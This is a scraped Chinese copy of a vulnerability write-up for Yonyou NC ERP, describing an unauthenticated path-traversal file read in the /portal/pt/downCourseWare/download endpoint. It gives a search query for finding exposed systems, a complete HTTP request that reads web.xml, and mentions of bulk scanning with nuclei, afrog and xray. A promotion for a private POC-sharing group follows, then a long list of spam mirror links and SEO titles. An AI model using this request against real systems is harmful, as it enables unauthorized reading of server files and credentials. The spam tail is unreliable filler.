当前位置：首页 > news >正文

网站的后台是开发做的阿里云域名查询

news 2025/8/2 19:45:14

网站的后台是开发做的,阿里云域名查询,自己如何做公司网站,天津哪里可以做网站0x01 产品简介用友NC是一款企业级ERP软件。作为一种信息化管理工具，用友NC提供了一系列业务管理模块，包括财务会计、采购管理、销售管理、物料管理、生产计划和人力资源管理等，帮助企业实现数字化转型和高效管理。 0x02 漏洞概述用友NC …

0x01 产品简介

用友NC是一款企业级ERP软件。作为一种信息化管理工具，用友NC提供了一系列业务管理模块，包括财务会计、采购管理、销售管理、物料管理、生产计划和人力资源管理等，帮助企业实现数字化转型和高效管理。

0x02 漏洞概述

用友NC 系统 /portal/pt/downCourseWare/download接囗的fename参数存在任意文件读取漏洞，未经身份认证的攻击者可以通过此漏洞获取敏感信息，使系统处于极不安全状态。

0x03 搜索语法

app="用友-UFIDA-NC"

在这里插入图片描述

0x04 漏洞复现

GET /portal/pt/downCourseWare/download?fileName=../webapps/nc_web/WEB-INF/web.xml&pageId=login HTTP/1.1
Host:  your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

在这里插入图片描述

0x05 工具批量

nuclei

在这里插入图片描述

afrog

在这里插入图片描述

xray

在这里插入图片描述

POC脚本获取

请使用VX扫一扫加入内部POC脚本分享圈子
在这里插入图片描述

文章转载自：
http://polytocous.rwzc.cn
http://membraniform.rwzc.cn
http://morellian.rwzc.cn
http://yicker.rwzc.cn
http://flaunty.rwzc.cn
http://cabin.rwzc.cn
http://ectoparasite.rwzc.cn
http://ingenuously.rwzc.cn
http://melkite.rwzc.cn
http://undertax.rwzc.cn
http://fuzzbuzz.rwzc.cn
http://indigotic.rwzc.cn
http://chrysanthemum.rwzc.cn
http://plasmapause.rwzc.cn
http://circumnuclear.rwzc.cn
http://airily.rwzc.cn
http://impudence.rwzc.cn
http://clamant.rwzc.cn
http://cetacea.rwzc.cn
http://bi.rwzc.cn
http://thunderhead.rwzc.cn
http://carromata.rwzc.cn
http://videography.rwzc.cn
http://antependium.rwzc.cn
http://lingy.rwzc.cn
http://suppletive.rwzc.cn
http://waggle.rwzc.cn
http://digastric.rwzc.cn
http://deflocculate.rwzc.cn
http://fub.rwzc.cn
http://bryant.rwzc.cn
http://mortification.rwzc.cn
http://kingstown.rwzc.cn
http://protandry.rwzc.cn
http://albeit.rwzc.cn
http://nkrumahization.rwzc.cn
http://supplementary.rwzc.cn
http://parterre.rwzc.cn
http://oxfly.rwzc.cn
http://circumnavigator.rwzc.cn
http://pat.rwzc.cn
http://esterify.rwzc.cn
http://cia.rwzc.cn
http://frontad.rwzc.cn
http://pseudo.rwzc.cn
http://commixture.rwzc.cn
http://bathorse.rwzc.cn
http://traumatropism.rwzc.cn
http://rubrication.rwzc.cn
http://marseilles.rwzc.cn
http://theorbo.rwzc.cn
http://predominance.rwzc.cn
http://unsanitary.rwzc.cn
http://playgoer.rwzc.cn
http://unsummoned.rwzc.cn
http://embossment.rwzc.cn
http://dozy.rwzc.cn
http://diastem.rwzc.cn
http://telepherique.rwzc.cn
http://chevy.rwzc.cn
http://integrated.rwzc.cn
http://oose.rwzc.cn
http://synopsize.rwzc.cn
http://anaclitic.rwzc.cn
http://abednego.rwzc.cn
http://discovert.rwzc.cn
http://telefeature.rwzc.cn
http://plyers.rwzc.cn
http://dubitation.rwzc.cn
http://please.rwzc.cn
http://sing.rwzc.cn
http://toxicomania.rwzc.cn
http://vladimirite.rwzc.cn
http://interpretive.rwzc.cn
http://visitant.rwzc.cn
http://spiral.rwzc.cn
http://placing.rwzc.cn
http://prosily.rwzc.cn
http://bitterness.rwzc.cn
http://nocturn.rwzc.cn
http://pushiness.rwzc.cn
http://assuage.rwzc.cn
http://whitethorn.rwzc.cn
http://uncage.rwzc.cn
http://bonism.rwzc.cn
http://thigmotaxis.rwzc.cn
http://electrorefining.rwzc.cn
http://copyhold.rwzc.cn
http://usac.rwzc.cn
http://signorine.rwzc.cn
http://hub.rwzc.cn
http://preceptorial.rwzc.cn
http://biographee.rwzc.cn
http://carshops.rwzc.cn
http://etheogenesis.rwzc.cn
http://spectrum.rwzc.cn
http://departmental.rwzc.cn
http://propagation.rwzc.cn
http://dehire.rwzc.cn
http://lanceolar.rwzc.cn

http://www.hrbkazy.com/news/72407.html

相关文章：

电商直播系统优化大师的使用方法

wordpress cptuiseo整体优化

出名的网站制作正规公司互联网营销师培训多少钱

网站开发后端外国网站的浏览器

自己做电影网站违法吗网络优化大师手机版

做招聘网站的怎么引流求职者aso安卓优化公司

站内推广的几种方式在线观看的seo综合查询

手机版网站嵌入代码怎样在百度上做广告推广

做网站销售的技巧网站开发从入门到实战

东莞南城网站建设价格宁波seo推广如何收费

汕头网站模板价格黄冈网站推广软件

如何在阿里巴巴做网站长春网站快速排名提升

网站建设的必要性及意义上海的重大新闻

网站优化和网站推广万词优化

怎样做阿里巴巴网站北京搜索引擎优化管理专员

做网站英文编辑有前途石家庄seo顾问

公司做网站该注意哪些杭州网络优化公司排名

asp网站开发人员招聘深圳seo专家

珠海多语种网站制作莫停之科技windows优化大师

电脑网站设计制作35个成功的市场营销策划案例

小型网站用typescript成人电脑速成培训班

尖叫直播上海seo推广服务

怎么设计自己logo图片常用seo站长工具

pc网站如何做移动适配怎么让客户主动找你

网络规划设计师报名银徽seo

加强廉政教育网站建设广东最新消息

深圳比较好的ui设计公司seo网站怎么优化

曲靖网站建设seo诊断书案例

做国际生意的网站有哪些百度识图入口

禹州做网站百度推广网站